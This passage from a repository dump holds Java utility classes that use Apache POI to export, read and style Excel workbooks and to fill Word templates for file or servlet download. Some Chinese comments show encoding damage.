    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.io.OutputStream;\nimport java.util.Date;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.poifs.filesystem.POIFSFileSystem;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\n/**\n * \n * \t\n * @author Wujun\n * Version  1.1.0\n * @since   2012-8-24 上午10:01:56\n */\npublic class ExcelExportHelper {\n\n\t// 设置cell编码解决中文高位字节截断\n\t// private static short XLS_ENCODING = HSSFWorkbook.ENCODING_UTF_16;\n\n\tprivate Workbook workbook;\n\n\tprivate Sheet sheet;\n\n\tprivate Row row;\n\t\n\tprivate CellStyles cellStyles;\n\t\n\tprivate int rowIndex = 0;\n\t\n\tpublic enum ExcelType {\n\t\tXLS(\"xls\"),\n\t\tXLSX(\"xlsx\");\n\t\t\n\t\tprivate final String type;\n\n\t\tExcelType(String type) {\n\t\t\tthis.type = type;\n\t\t}\n\n\t\tpublic String getType() {\n\t\t\treturn this.type;\n\t\t}\n\t}\n\t\n\tpublic ExcelExportHelper() {\n\t\tthis.workbook = new HSSFWorkbook();\n\t\tthis.sheet = workbook.createSheet();\n\t\t\n\t\tcellStyles = new DefaultCellStyles(workbook);\n\t}\n\t\n\tpublic ExcelExportHelper(ExcelType excelType) {\n\t\tswitch (excelType) {\n\t\tcase XLS:\n\t\t\tthis.workbook = new HSSFWorkbook();\n\t\t\tbreak;\n\t\tcase XLSX:\n\t\t\tthis.workbook = new XSSFWorkbook();\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tthis.workbook = new HSSFWorkbook();\n\t\t\tbreak;\n\t\t}\n\t\t\n\t\tthis.sheet = workbook.createSheet();\n\t}\n\n\tpublic ExcelExportHelper(String file) {\n\t\ttry {\n\t\t\tInputStream input = new FileInputStream(file);\n\t\t\t\n\t\t\tint end = file.lastIndexOf(\".\");\n\t\t\tString ext = file.substring(end+1);\n\t\t\t\n\t\t\tif (ext.equalsIgnoreCase(ExcelType.XLS.getType())) {\n\t\t\t\tPOIFSFileSystem fs = new POIFSFileSystem(input);\n\t\t\t\tthis.workbook = new HSSFWorkbook(fs);\n\t\t\t} else if (ext.equalsIgnoreCase(ExcelType.XLSX.getType())) {\n\t\t\t\tthis.workbook = new XSSFWorkbook(input);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\t\n\t\tthis.sheet = workbook.createSheet();\n\t}\n\n\t/**\n\t * 导出Excel文件\n\t * \n\t * @throws XLSException\n\t */\n\tpublic void export(String xlsFileName) throws RuntimeException {\n\t\tFileOutputStream fOut = null;\n\t\ttry {\n\t\t\tfOut = new FileOutputStream(xlsFileName);\n\t\t\tworkbook.write(fOut);\n\t\t\tfOut.flush();\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow new RuntimeException(\"生成导出Excel文件出错!\", e);\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"写入Excel文件出错!\", e);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (fOut != null)\n\t\t\t\t\tfOut.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\n\tpublic void export(OutputStream os) throws RuntimeException {\n\t\ttry {\n\t\t\tworkbook.write(os);\n\t\t\tos.flush();\n\t\t} catch (FileNotFoundException e) {\n\t\t\tthrow new RuntimeException(\"生成导出Excel文件出错!\", e);\n\t\t} catch (IOException e) {\n\t\t\tthrow new RuntimeException(\"写入Excel文件出错!\", e);\n\t\t} finally {\n\t\t\ttry {\n\t\t\t\tif (os != null)\n\t\t\t\t\tos.close();\n\t\t\t} catch (IOException e) {\n\t\t\t\te.printStackTrace();\n\t\t\t}\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, String value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, String value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getStringStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, Date value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, Date value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getDateStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, int value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, int value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getStringStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, double value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, double value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getNumberStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, float value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCell(int index, float value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCell(index, value, cellStyles.getNumberStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCellHeader(int index, String value, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellValue(value);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCellHeader(int index, String value) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCellHeader(index, value, cellStyles.getHeaderStyle());\n\t\t} else {\n\t\t\tsetCell(index, value, null);\n\t\t}\n\t}\n\t\n\tpublic void setCellFormula(int index, String formula, CellStyle cellStyle) {\n\t\tCell cell = this.row.createCell(index);\n\t\tcell.setCellFormula(formula);\n\t\tif (cellStyle != null) {\n\t\t\tcell.setCellStyle(cellStyle);\n\t\t}\n\t}\n\t\n\tpublic void setCellFormula(int index, String formula) {\n\t\tif (cellStyles != null) {\n\t\t\tsetCellFormula(index, formula, cellStyles.getFormulaStyle());\n\t\t} else {\n\t\t\tsetCell(index, formula, null);\n\t\t}\n\t}\n\t\n\t/**\n\t * 增加一行\n\t * \n\t * @param index\n\t *            行号\n\t */\n\tpublic void createRow() {\n\t\tthis.row = this.sheet.createRow(rowIndex++);\n\t}\n\n\t/**\n\t * 返回 workbook 的值\n\t * \n\t * @return workbook\n\t */\n\tpublic Workbook getWorkbook() {\n\t\treturn workbook;\n\t}\n\n\t/**\n\t * 返回 sheet 的值\n\t * \n\t * @return sheet\n\t */\n\tpublic Sheet getSheet() {\n\t\treturn sheet;\n\t}\n\n\t/**\n\t * 返回 row 的值\n\t * \n\t * @return row\n\t */\n\tpublic Row getRow() {\n\t\treturn row;\n\t}\n\n\t/**  \n\t * 返回 rowIndex 的值   \n\t * @return rowIndex  \n\t */\n\tpublic int getRowIndex() {\n\t\treturn rowIndex;\n\t}\n\n\t/**\n\t * @return the cellStyles\n\t */\n\tpublic CellStyles getCellStyles() {\n\t\treturn cellStyles;\n\t}\n\n\t/**\n\t * @param cellStyles the cellStyles to set\n\t */\n\tpublic void setCellStyles(CellStyles cellStyles) {\n\t\tthis.cellStyles = cellStyles;\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/demo/ExcelReadUtils.java",
    "content": "package com.jun.plugin.poi.demo;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.FileInputStream;\nimport java.io.IOException;\nimport java.io.InputStream;\nimport java.util.ArrayList;\n\nimport org.apache.poi.hssf.usermodel.HSSFWorkbook;\nimport org.apache.poi.openxml4j.exceptions.InvalidOperationException;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.DateUtil;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.usermodel.XSSFWorkbook;\n\n/**\n * \n * @author Wujun\n * @since 2013年9月29日 下午3:39:36\n */\npublic class ExcelReadUtils {\n\n\tpublic static ArrayList<ArrayList<Object>> readRows(String excelFile,\n\t\t\tint startRowIndex, int rowCount) throws IOException {\n\t\treturn readRows(new FileInputStream(excelFile), startRowIndex, rowCount);\n\t}\n\n\tpublic static ArrayList<ArrayList<Object>> readRows(InputStream is,\n\t\t\tint startRowIndex, int rowCount) throws IOException {\n\n\t\tWorkbook wb = null;\n\n\t\tByteArrayOutputStream byteOS = new ByteArrayOutputStream();\n\t\tbyte[] buffer = new byte[512];\n\t\tint count = -1;\n\t\twhile ((count = is.read(buffer)) != -1)\n\t\t\tbyteOS.write(buffer, 0, count);\n\t\tbyteOS.close();\n\t\tbyte[] allBytes = byteOS.toByteArray();\n\n\t\ttry {\n\t\t\twb = new XSSFWorkbook(new ByteArrayInputStream(allBytes));\n\t\t} catch (InvalidOperationException ex) {\n\t\t\twb = new HSSFWorkbook(new ByteArrayInputStream(allBytes));\n\t\t}\n\n\t\tSheet sheet = wb.getSheetAt(0);\n\n\t\treturn readRows(sheet, startRowIndex, rowCount);\n\t}\n\n\tpublic static ArrayList<ArrayList<Object>> readRows(Sheet sheet,\n\t\t\tint startRowIndex, int rowCount) {\n\t\tArrayList<ArrayList<Object>> rowList = new ArrayList<ArrayList<Object>>();\n\n\t\tint i = 0;\n\t\tfor (Row row : sheet) {\n\t\t\ti++;\n\t\t\tif (i > startRowIndex && i <= (startRowIndex + rowCount)) {\n\n\t\t\t\tArrayList<Object> cellList = new ArrayList<Object>();\n\t\t\t\tfor (Cell cell : row) {\n\t\t\t\t\tcellList.add(readCell(cell));\n\t\t\t\t}\n\n\t\t\t\trowList.add(cellList);\n\t\t\t}\n\t\t}\n\t\treturn rowList;\n\t}\n\n\t/**\n\t * 从Excel读Cell\n\t * \n\t * @param cell\n\t * @return\n\t */\n\tprivate static Object readCell(Cell cell) {\n\t\tif (cell == null) {\n\t\t\treturn null;\n\t\t}\n\n\t\tswitch (cell.getCellType()) {\n\t\tcase Cell.CELL_TYPE_STRING:\n\t\t\tString str = cell.getRichStringCellValue().getString();\n\t\t\treturn str == null ? \"\" : str.trim();\n\n\t\tcase Cell.CELL_TYPE_NUMERIC:\n\t\t\tif (DateUtil.isCellDateFormatted(cell)) {\n\t\t\t\treturn cell.getDateCellValue();\n\t\t\t} else {\n\t\t\t\treturn cell.getNumericCellValue();\n\t\t\t}\n\n\t\tcase Cell.CELL_TYPE_BOOLEAN:\n\t\t\treturn cell.getBooleanCellValue();\n\n\t\tcase Cell.CELL_TYPE_FORMULA:\n\t\t\tif (DateUtil.isCellDateFormatted(cell)) {\n\t\t\t\treturn cell.getDateCellValue();\n\t\t\t} else {\n\t\t\t\treturn cell.getCellFormula();\n\t\t\t}\n\n\t\tcase Cell.CELL_TYPE_BLANK:\n\t\t\treturn \"\";\n\n\t\tdefault:\n\t\t\tSystem.err.println(\"Data error for cell of excel: \" + cell.getCellType());\n\t\t\treturn \"\";\n\t\t}\n\n\t}\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/demo/test/RedCellStyles.java",
    "content": "package com.jun.plugin.poi.demo.test;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Workbook;\n\nimport com.jun.plugin.poi.demo.DefaultCellStyles;\n\n/** \n * @author Wujun\n * @since   2013年9月29日 下午3:22:31 \n */\npublic class RedCellStyles extends DefaultCellStyles {\n\n\t/**\n\t * @param workbook\n\t */\n\tpublic RedCellStyles(Workbook workbook) {\n\t\tsuper(workbook);\n\t}\n\n\t/* (non-Javadoc)\n\t * @see com.ketayao.learn.poi.DefaultCellStyles#setBorder(org.apache.poi.ss.usermodel.CellStyle)\n\t */\n\t@Override\n\tprotected void setBorder(CellStyle style) {\n\t\t//设置边框\n\t\tFont font = wb.createFont();\n\t\tfont.setColor(IndexedColors.RED.index);\n\t\t\n\t\tstyle.setFont(font);\n\t\tstyle.setBorderRight(CellStyle.BORDER_THIN);\n\t\tstyle.setRightBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderLeft(CellStyle.BORDER_THIN);\n\t\tstyle.setLeftBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderTop(CellStyle.BORDER_THIN);\n\t\tstyle.setTopBorderColor(IndexedColors.BLACK.getIndex());\n\n\t\tstyle.setBorderBottom(CellStyle.BORDER_THIN);\n\t\tstyle.setBottomBorderColor(IndexedColors.BLACK.getIndex());\n\t}\n\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/demo/word/ReadAndWriteDoc.java",
    "content": "package com.jun.plugin.poi.demo.word;\nimport java.io.ByteArrayOutputStream;\nimport java.io.File;\nimport java.io.FileInputStream;\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.Iterator;\nimport java.util.Map;\n\nimport javax.servlet.http.HttpServletResponse;\n\nimport org.apache.poi.hwpf.HWPFDocument;\nimport org.apache.poi.hwpf.model.FieldsDocumentPart;\nimport org.apache.poi.hwpf.usermodel.Field;\nimport org.apache.poi.hwpf.usermodel.Fields;\nimport org.apache.poi.hwpf.usermodel.Range;\n\n/**\n * 实现java用poi实现对word读取和修改操作\n * @author Wujun\n *\n */\npublic class ReadAndWriteDoc {\n    \n    /**\n     * 实现对word读取和修改操作\n     * @param filePath    word模板路径和名称\n     * @param map        待填充的数据，从数据库读取\n     */\n    public static void readwriteWord(String filePath, Map<String,String> map){\n        //读取word模板\n//        String fileDir = new File(base.getFile(),\"http://www.cnblogs.com/http://www.cnblogs.com/../doc/\").getCanonicalPath();\n        FileInputStream in = null;\n        try {\n            in = new FileInputStream(new File(filePath));\n        } catch (FileNotFoundException e1) {\n            e1.printStackTrace();\n        }\n        HWPFDocument hdt = null;\n        try {\n            hdt = new HWPFDocument(in);\n        } catch (IOException e1) {\n            e1.printStackTrace();\n        }\n        Fields fields = hdt.getFields();\n        Iterator<Field> it = fields.getFields(FieldsDocumentPart.MAIN).iterator();\n        while(it.hasNext()){\n            System.out.println(it.next().getType());\n        }\n    \n        //读取word文本内容\n        Range range = hdt.getRange();\n        System.out.println(range.text());\n        //替换文本内容\n        for (Map.Entry<String,String> entry: map.entrySet()) {\n            range.replaceText(\"$\" + entry.getKey() + \"$\",entry.getValue());\n        }\n        ByteArrayOutputStream ostream = new ByteArrayOutputStream();\n        String fileName = \"\"+System.currentTimeMillis();\n        fileName += \".doc\";\n        FileOutputStream out = null;\n        try {\n            out = new FileOutputStream(\"E:\\\\test\\\\\"+fileName,true);\n        } catch (FileNotFoundException e) {\n            e.printStackTrace();\n        }\n        try {\n            hdt.write(ostream);\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        //输出字节流\n        try {\n            out.write(ostream.toByteArray());\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        try {\n            out.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n        try {\n            ostream.close();\n        } catch (IOException e) {\n            e.printStackTrace();\n        }\n    }\n    \n\n//======================输出文件流下载方式：==========================　　\n\n\n    /**\n     * 实现对word读取和修改操作\n     * @param response    响应,设置生成的文件类型,文件头编码方式和文件名,以及输出\n     * @param filePath    word模板路径和名称\n     * @param map        待填充的数据，从数据库读取\n     */\n    public static void readwriteWord(HttpServletResponse response, String filePath, Map<String, String> map){\n        //读取word模板文件\n//        String fileDir = new File(base.getFile(),\"http://www.cnblogs.com/http://www.cnblogs.com/../doc/\").getCanonicalPath();\n//        FileInputStream in = new FileInputStream(new File(fileDir+\"/laokboke.doc\"));\n        FileInputStream in;\n        HWPFDocument hdt = null;\n        try {\n            in = new FileInputStream(new File(filePath));\n            hdt = new HWPFDocument(in);\n        } catch (Exception e1) {\n            e1.printStackTrace();\n        }\n        \n        Fields fields = hdt.getFields();\n        Iterator<Field> it = fields.getFields(FieldsDocumentPart.MAIN).iterator();\n        while(it.hasNext()){\n            System.out.println(it.next().getType());\n        }\n\n        //替换读取到的word模板内容的指定字段\n        Range range = hdt.getRange();\n\n        for (Map.Entry<String,String> entry:map.entrySet()) {\n            range.replaceText(\"$\" + entry.getKey() + \"$\",entry.getValue());\n        }\n\n        //输出word内容文件流，提供下载\n        response.reset();\n        response.setContentType(\"application/x-msdownload\");\n        String fileName = \"\"+System.currentTimeMillis()+\".doc\";\n        response.addHeader(\"Content-Disposition\", \"attachment; filename=\"+fileName);\n        ByteArrayOutputStream ostream = new ByteArrayOutputStream();\n        OutputStream servletOS = null;\n        try {\n            servletOS = response.getOutputStream();\n            hdt.write(ostream);\n            servletOS.write(ostream.toByteArray());\n            servletOS.flush();\n            servletOS.close();\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\n        \n    }\n}"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/BaseExportExcel.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.io.FileNotFoundException;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.io.OutputStream;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n//import javax.servlet.http.HttpServletResponse;\n\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Font;\nimport org.apache.poi.ss.usermodel.IndexedColors;\nimport org.apache.poi.ss.usermodel.Workbook;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\n\n\npublic abstract class BaseExportExcel {\n\tprotected SXSSFWorkbook wb;\n\tprotected List<String> headerList = new ArrayList<String>();\n\tprotected int[] width;\n\tprotected Map<String, CellStyle> styles;\n\t\n\tpublic BaseExportExcel(){\n\t\t\n\t}\n\tprotected Map<String, CellStyle> createStyles(Workbook wb) {\n\t\tMap<String, CellStyle> styles = new HashMap<String, CellStyle>();\n\t\t\n\t\tCellStyle style = wb.createCellStyle();\n\t\tstyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tstyle.setVerticalAlignment(CellStyle.VERTICAL_CENTER);\n\t\tFont titleFont = wb.createFont();\n\t\ttitleFont.setFontHeightInPoints((short) 18);\n\t\ttitleFont.setBoldweight(Font.BOLDWEIGHT_BOLD);\n\t\tstyle.setFont(titleFont);\n\t\tstyles.put(\"title\", style);\n\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.setVerticalAlignment(CellStyle.VERTICAL_CENTER); // 指定单元格垂直居中对�?\n\t\tstyle.setBorderRight(CellStyle.BORDER_THIN);\n\t\tstyle.setRightBorderColor(IndexedColors.GREY_50_PERCENT.getIndex());\n\t\tstyle.setBorderLeft(CellStyle.BORDER_THIN);\n\t\tstyle.setLeftBorderColor(IndexedColors.GREY_50_PERCENT.getIndex());\n\t\tstyle.setBorderTop(CellStyle.BORDER_THIN);\n\t\tstyle.setTopBorderColor(IndexedColors.GREY_50_PERCENT.getIndex());\n\t\tstyle.setBorderBottom(CellStyle.BORDER_THIN);\n\t\tstyle.setBottomBorderColor(IndexedColors.GREY_50_PERCENT.getIndex());\n\t\tstyles.put(\"data\", style);\n\t\t\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.cloneStyleFrom(styles.get(\"data\"));\n\t\tstyle.setAlignment(CellStyle.ALIGN_LEFT);\n\t\tstyles.put(\"data1\", style);\n\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.cloneStyleFrom(styles.get(\"data\"));\n\t\tstyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tstyles.put(\"data2\", style);\n\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.cloneStyleFrom(styles.get(\"data\"));\n\t\tstyle.setAlignment(CellStyle.ALIGN_RIGHT);\n\t\tstyles.put(\"data3\", style);\n\t\t\n\t\tstyle = wb.createCellStyle();\n\t\tstyle.cloneStyleFrom(styles.get(\"data\"));\n//\t\tstyle.setWrapText(true);\n\t\tstyle.setAlignment(CellStyle.ALIGN_CENTER);\n\t\tstyle.setFillForegroundColor(IndexedColors.GREY_50_PERCENT.getIndex());\n\t\tstyle.setFillPattern(CellStyle.SOLID_FOREGROUND);\n\t\tFont headerFont = wb.createFont();\n\t\theaderFont.setFontHeightInPoints((short) 11);\n\t\theaderFont.setColor(IndexedColors.WHITE.getIndex());\n\t\tstyle.setFont(headerFont);\n\t\tstyles.put(\"header\", style);\n\t\t\n\t\treturn styles;\n\t}\n\t\n\t\n\t/**\n\t * 输出数据�?\n\t * @param os 输出数据�?\n\t */\n\tpublic void write(OutputStream os) throws IOException{\n\t\twb.write(os);\n\t}\n\t\n\t/**\n\t * 输出到客户端\n\t * @param fileName 输出文件�?\n\t */\n//\tpublic void write(HttpServletResponse response, String fileName) throws IOException{\n//\t\tresponse.reset();\n//        response.setContentType(\"application/octet-stream; charset=utf-8\");\n//        response.setHeader(\"Content-Disposition\", \"attachment; filename=\"+Encodes.urlEncode(fileName));\n//\t\twrite(response.getOutputStream());\n//\t}\n\t\n\t/**\n\t * 输出到文�?\n\t * @param fileName 输出文件�?\n\t */\n\tpublic void writeFile(String name) throws FileNotFoundException, IOException{\n\t\tFileOutputStream os = new FileOutputStream(name);\n\t\tthis.write(os);\n\t}\n\t\n\t/**\n\t * 清理临时文件\n\t */\n\tpublic void dispose(){\n\t\twb.dispose();\n\t}\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/BaseSheel.java",
    "content": "package com.jun.plugin.poi.impexp.excel;\n\nimport java.text.DecimalFormat;\nimport java.util.Date;\nimport java.util.List;\nimport java.util.Map;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.poi.ss.usermodel.Cell;\nimport org.apache.poi.ss.usermodel.CellStyle;\nimport org.apache.poi.ss.usermodel.Comment;\nimport org.apache.poi.ss.usermodel.DataFormat;\nimport org.apache.poi.ss.usermodel.Row;\nimport org.apache.poi.ss.usermodel.Sheet;\nimport org.apache.poi.ss.util.CellRangeAddress;\nimport org.apache.poi.xssf.streaming.SXSSFWorkbook;\nimport org.apache.poi.xssf.usermodel.XSSFClientAnchor;\nimport org.apache.poi.xssf.usermodel.XSSFRichTextString;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\n\npublic abstract class BaseSheel {\n\tprotected static Logger log = LoggerFactory.getLogger(BaseSheel.class);\n\tprotected Sheet sheet;\n\tprotected SXSSFWorkbook wb;\n\tprotected Map<String, CellStyle> styles;\n\tprotected int rownum=0;\n\t\n\tprotected BaseSheel(SXSSFWorkbook wb,String name,Map<String, CellStyle> styles) {\n\t\tthis.sheet = wb.createSheet(name);\n\t\tthis.styles = styles;\n\t\tthis.wb = wb;\n\t}\n\t\n\t\n\tprotected void initialize(String title, List<String> headerList,int[] width) {\n\t\t// Create title\n\t\tif (StringUtils.isNotBlank(title)){\n\t\t\tRow titleRow = sheet.createRow(rownum++);\n\t\t\ttitleRow.setHeightInPoints(30);\n\t\t\tCell titleCell = titleRow.createCell(0);\n\t\t\ttitleCell.setCellStyle(styles.get(\"title\"));\n\t\t\ttitleCell.setCellValue(title);\n\t\t\tsheet.addMergedRegion(new CellRangeAddress(titleRow.getRowNum(),\n\t\t\t\t\ttitleRow.getRowNum(), titleRow.getRowNum(), headerList.size()-1));\n\t\t}\n\t\t// Create header\n\t\tif (headerList == null){\n\t\t\tthrow new RuntimeException(\"headerList not null!\");\n\t\t}\n\t\tRow headerRow = sheet.createRow(rownum++);\n\t\theaderRow.setHeightInPoints(16);\n\t\tfor (int i = 0; i < headerList.size(); i++) {\n\t\t\tCell cell = headerRow.createCell(i);//创建�?��单元�?\n\t\t\tcell.setCellStyle(styles.get(\"header\"));//设置单元格样�?\n\t\t\t\n\t\t\tString[] ss = StringUtils.split(headerList.get(i), \"**\", 2);\n\t\t\t\n\t\t\tif (ss.length==2){\n\t\t\t\t//如果有注释，则加上注�?\n\t\t\t\tcell.setCellValue(ss[0]);\n\t\t\t\tComment comment = this.sheet.createDrawingPatriarch().createCellComment(\n\t\t\t\t\t\tnew XSSFClientAnchor(0, 0, 0, 0, (short) 3, 3, (short) 5, 6));\n\t\t\t\tcomment.setString(new XSSFRichTextString(ss[1]));\n\t\t\t\tcell.setCellComment(comment);\n\t\t\t}else{\n\t\t\t\t\n\t\t\t\tcell.setCellValue(headerList.get(i));\n\t\t\t}\n//\t\t\tsheet.autoSizeColumn(i);\n\t\t}\n\t\tif(width!=null){\n\t\t\tfor (int i = 0; i < width.length; i++) {  \n\t\t\t        sheet.setColumnWidth(i, width[i] < 3000 ? 3000 : width[i]);  \n\t\t\t\t}\n\t\t}\n\t\t\n\t\tlog.debug(\"Initialize success.\");\n\t}\n\t\n\t/**\n\t * 添加�?��\n\t * @return 行对�?\n\t */\n\tpublic Row addRow(){\n\t\treturn sheet.createRow(rownum++);\n\t}\n\t\n\t/**\n\t * 添加�?��单元�?\n\t * @param row 添加的行\n\t * @param column 添加列号\n\t * @param val 添加�?\n\t * @return 单元格对�?\n\t */\n\tpublic Cell addCell(Row row, int column, Object val){\n\t\treturn this.addCell(row, column, val, 1, Class.class);\n\t}\n\t\n\t/**\n\t * 添加�?��单元�?\n\t * @param row 添加的行\n\t * @param column 添加列号\n\t * @param val 添加�?\n\t * @param align 对齐方式�?：靠左；2：居中；3：靠右）\n\t * @return 单元格对�?\n\t */\n\tpublic Cell addCell(Row row, int column, Object val, int align, Class<?> fieldType){\n\t\tCell cell = row.createCell(column);\n\t\tDecimalFormat df = new DecimalFormat(\"#.00\");\n\t//\tCellStyle style = styles.get(\"data\"+(align>=1&&align<=3?align:\"\"));\n\t\ttry {\n\t\t\tif (val == null){\n\t\t\t\tcell.setCellValue(\"\");\n\t\t\t} else if (val instanceof String) {\n\t\t\t\tcell.setCellValue((String) val);\n\t\t\t} else if (val instanceof Integer) {\n\t\t\t\tcell.setCellValue((Integer) val);\n\t\t\t} else if (val instanceof Long) {\n\t\t\t\tcell.setCellValue((Long) val);\n\t\t\t} else if (val instanceof Double) {\n\t\t\t\t\n\t\t\t\tcell.setCellValue(df.format(val));\n\t\t\t} else if (val instanceof Float) {\n\t\t\t\tcell.setCellValue(df.format(val));\n\t\t\t} else if (val instanceof Date) {\n\t\t\t\tCellStyle\tstyle =styles.get(\"data\"+(align>=1&&align<=3?align:\"\"));\n\t\t\t\tDataFormat format = wb.createDataFormat();\n\t            style.setDataFormat(format.getFormat(\"yyyy-MM-dd\"));\n\t\t\t\tcell.setCellValue((Date) val);\n\t\t\t\t//cell.setCellStyle(style);\n\t\t\t} else {\n\t\t\t\tif (fieldType != Class.class){\n\t\t\t\t\tcell.setCellValue((String)fieldType.getMethod(\"setValue\", Object.class).invoke(null, val));\n\t\t\t\t}else{\n\t\t\t\t\tcell.setCellValue((String)Class.forName(this.getClass().getName().replaceAll(this.getClass().getSimpleName(), \n\t\t\t\t\t\t\"fieldtype.\"+val.getClass().getSimpleName()+\"Type\")).getMethod(\"setValue\", Object.class).invoke(null, val));\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (Exception ex) {\n\t\t\tlog.info(\"设置cell�?[\"+row.getRowNum()+\",\"+column+\"] 错误: \" + ex.toString());\n\t\t\tcell.setCellValue(val.toString());\n\t\t}\n\t//\tcell.setCellStyle(style);\n\t\treturn cell;\n\t}\n\t\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_poi/src/main/java/com/jun/plugin/poi/impexp/excel/BeanExport.java",
